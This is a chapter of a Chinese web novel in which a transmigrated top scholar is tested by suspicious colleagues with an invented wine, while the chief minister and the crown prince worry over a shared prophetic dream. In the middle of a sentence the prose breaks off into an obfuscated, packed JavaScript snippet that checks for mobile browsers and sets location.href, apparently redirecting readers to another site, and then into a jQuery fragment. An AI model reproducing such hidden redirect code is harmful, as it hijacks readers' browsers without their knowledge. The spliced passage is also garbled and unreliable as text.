18.谁演谁?
作品:《朝堂上下皆梦到同一人后》 ‘若哪天朕真的去了,太子、朕就交给你了。’
一直到走出后殿,季首辅脑中仍在回响着这句。他答应了吗?他当然不答应也要答应啊。
他到现在哪里还不明白皇帝在想什么,这是怕他被梦中满门被灭的事吓到,朝中现在人心惶惶,太子地位产生动摇、多受质疑,很多人都怀疑他就是那个亡国之君,所以梦中谢元白才选择辅佐别的皇子上位。这个时候,皇帝更需要季首辅坚定不移的站在太子这边。
“这是真怕了呀……”
好半响儿过去,才听季首辅幽幽叹一声。
人在鬼神之力面前何其渺小乎,夏震天也怕,可他还是信太子,也是信他自己。
可若按梦中昭示的那样,太子真的不堪大任的话,谢元白的一举一动自有皇帝会多加引导和控制,不可能再让他跟随第一次任务失败的对象身边;而自己和太子也恐将成被夏震天舍弃的一方。这是哪怕夏震天再爱太子这个儿子,也不得不做出的选择,尤其是在丰朝连两百年都延续不到的噩运通告面前。
季首辅想的明白,也,接受自己的命运。
因为,他从本心上亦更愿意相信夏元宗。还是那句话,他认同且真心认为:四个皇子当中,没有比夏元宗更适合为储君的。
“三殿下这是去哪儿?”
很巧合的,季首辅在宫道上与要独自出宫的三皇子迎面遇上。
后者见是他,脸上亦露出两分意外之色,随后客气有礼地颔首,“季首辅。”
“本殿出宫为母妃采买些东西。”他声音平静无波。
“既如此,殿下且去吧。”
三皇子不多话的从季首辅身旁走过,那张脸,和皇帝年轻时真是颇了几分像,二人平时不常见,季首辅回想才发现自己都要记不起来上次见三皇子是什么时候了,好像是前年…又或是什么时候?
他记不清了,目光极其自然的从他脸上滑过,好像面对一个过路人一样。
对于这位低调默默无闻的皇三子,两人间的关系无疑是极度陌生的。
走了两步又回头,一股说不清道不明的感觉缠上心间,季首辅望着三皇子走在宫道上的背影越走越远,过了一会,心底方无声的念出一个名字:夏、元、安……
陛下四个儿子中,最没可能继位的一个,会是他吗?
这种念头来的快,去的更快,当季首辅意识到自己刚才在想什么后,突自好笑,亦觉莫名其妙,他摇头低喃,“真是老了,就是容易多思。”
他转头,继续往目的地走去。
而这会儿身处翰林院的谢元白,真是忙碌极了。
被带着认识一屋子同僚,期间还收到不少人的慰问。
这个问:“你头上的伤可好点了?”
紧接着另一个声音就补了上来,“状元郎若身体不适,当好生休养才是,莫要勉强。”
谢元白赶紧表示自己伤好了,开玩笑,再不上值,他下个月的生活费都没有了,更别提攒钱跑路了。
“谢大人老家是何处的呀?说不定你我是同乡呢。”一个看着年长谢元白几岁的官员问。
谢元白顿时卡壳,急忙从记忆里翻找起来,刚要说话,这时周围人里又冒出个疑问的声音接上此人的话。
“你不知?我听说谢大人是滇州荣城人士,不与你是同乡,倒是与方大人老家离的最近。方大人,你不正是滇州灏城人士吗,下官记得两城之间好像离的不远,不知说的可对?”
男人看向他口中提到的方大人,又望向谢元白,一脸求两人认同又或是等着他们纠正错误的样子。
谢元白:“……”看我做什么?我知道个屁啊!
我连滇州荣城在哪儿我都不知道,我能知道我叫谢元白、是这届的状元,还是套的邻居王大娘的话呢,又东翻西找从屋子里找出类似路引一样的东西,从上面知道了原身的来处。
他记得是叫这个地名儿,但没敢贸然点头,而是视线也似无意般的与留着两撇小胡子的方大人对上,后者思考了一下,道:“是离的不远。”
于是谢元白紧随其后微笑,“对……”
话还没说完,就听方大人继续思考着说:“不过本官记得前年发生了洪涝,将两城之间的路段给冲垮了,本官有些年头儿没回去过,只听人说是陇山那一带的路毁了,过不去。”
说完目光和谢元白对视上,脸上有着少许疑惑,这样子就像是等着他也说点什么。
谢元白脸上的笑容僵住,额角仿佛有一滴豆大的汗珠流下来,内心OS:救命,你有话为什么不能一次性说完!!
“……是有这回事。”顶着十几双好奇的眼睛,谢元白认同的附和,心下紧张的咽口水,面上还要保持风轻云淡的模样。
“那如今路可通了?”方大人问。
谢元白:“……通、通了吧。”
“我平常不出远门,对这事不太清楚。”
“哦,如此这般啊…”方大人点头,没再追问下去,只看谢元白的眼神有那么一瞬间变得奇怪了点儿,却像只是在思考他的话一般,又像在追忆从前家乡的事,谈不上怀疑。
“谢大人家中可还有什么人?可一同接入京了?”旁边有人好奇问。
“谢大人……”
吧啦吧啦五花八门的问题砸下来,谢元白应付完一个还有一个。
话到后面,他已经连胡扯的力气都快没有了,脸上的笑容也越来越僵硬,救命!古代人这么热情的吗?
一群人后知后觉察觉到这一点,声音慢慢小下去。
人群中,有人状似无意地相互交换了个眼神儿,看到了一样的疑惑,为什么谢元白回答的这么含糊,好像问他什么都不知道。
有人不禁暗想,难道这谢元白果然如梦中所示不是丰朝人,但不是还有央落吗?
它就看着他回答的磕磕绊绊?不怕露馅?还是当代的很多事情连央落也不知道?
“谢大人,我听说你们滇州盛产一种美酒,名千日红。你尝过吗?滋味如何?”终于,一个官员的问题跟在其他声音之后问,很巧的,其他人的声音都不约而同地静下,像是对这个问题也挺好奇的。
所有人的目光都朝谢元白看去。
谢元白背后冷汗下来,谨慎作答,“……此酒名贵,在下家贫,从前未有幸一尝。”
说完,露出个略显腼腆的微笑,心中紧张的不行。他哪儿知道滇州到底有没有这种酒!
但自个儿身份是真的,应该不至于叫人在自己到任第一天就杜撰出个莫须有的东西来专门验他真假吧?
一般会这么干
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422124|184289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,是建立在已经对这人有了怀疑的基础上才会以此试探。不然,应该少有人会想到参加科考的孝生身份还有假上面。
不过为防万一,他还是给自己的话打了个补丁,只见他拱拱手,致歉道,“下官无意相瞒各位,其实,下官自前些天被砸伤了脑袋后,醒来就发现,对从前的许多事情都记的不甚清楚了,险些连自己是谁都忘记。若有失言的地方,万望各位海涵。”
他低垂着眼睑,装出三分失意、七分失落的模样。
这还叫人怎么问?
众人你看看我我看看你,谁也没说话,看似在同情思考该说什么,实则,内心是有点懵逼和不解的。
他们试探出的东西已经很明确了,完全没有再继续下去的必要。
因为……滇州盛产柑橘。
他们中也从没人听说过天下间还有什么叫千日红的酒,丰朝哪有叫这个名字的酒啊?此人不过是在诓谢元白。
但后者真的上当了。
“……是我等失言,该是我们请谢大人海涵才是。”有了第一个人的发声,后面所有人都跟着附和。
“是啊是啊,谢大人多多包涵。”
几个人七嘴八舌的说着差不多的话,把他们多嘴不小心给失忆人士胸口扎刀的尴尬和不好意思演绎的淋漓尽致,互相对视一眼,很好,大家皆是演戏的一把好手。
“那谢大人,你先熟悉着手头的事,我等就先忙了。”
“好的。”等围上来的人群或客气有礼或含笑的退散开,谢元白站在自己办公的书案后,终于松一口气。
谢元白:累鼠我了,好不容易应付完这一大堆同事,不过好在身份没被拆穿,真是万幸!
翰林院众人心照不宣:结案了,谢元白不是哪个深山老林里刚爬出来的妖精,就是天上下凡来啥也不懂的闲散小仙。
你要问二者的不同是什么?好像也没什么不同。
那相同点呢?都是一样的孤陋寡闻,翻译过来就是——啥也不知道。
“太子殿下。”身后传来一道低沉而苍老地声音,带着亲切和熟悉。
太子转身,见是季首辅。
他仿佛知道太子夏元宗会来这个地方。
“是先生啊。”太子轻声喟叹,其实他早在翰林院内众人出声试探谢元白问题时就在门外了,离大门隔了几步距离,刚好能听见里面的声音,里面的人却看不见他,有官员回翰林院还被站在门口的他吓一跳,要出声行礼也被太子给抬手制止住了。
可一直待到里间询问声毕,太子也没下定决心踏进去找谢元白,明明他都走到这儿来了。
太子扬起唇,扯出个极淡地微笑,好像被风一吹就能散去,“先生可有空,陪孤走走如何?”
季首辅见他这样,心下不忍,轻叹一声,抬手一礼,“遵命,殿下。”
翰林院内,坐着的谢元白听后进门的人说太子来了,心神一振,上次太子带给他的阴影还没散,生怕对方再抓着他问问题,这会儿他只想躲着太子走。
悄悄从最近的窗子望出去,刚好只来得及瞧见一个明黄色的瘦削背影走在宫道上,稍微落后半步与他走在一起的还有个身着紫色朝服的背影。
还好、还好!太子只是路过,走了。
谢元白提起的心又放下。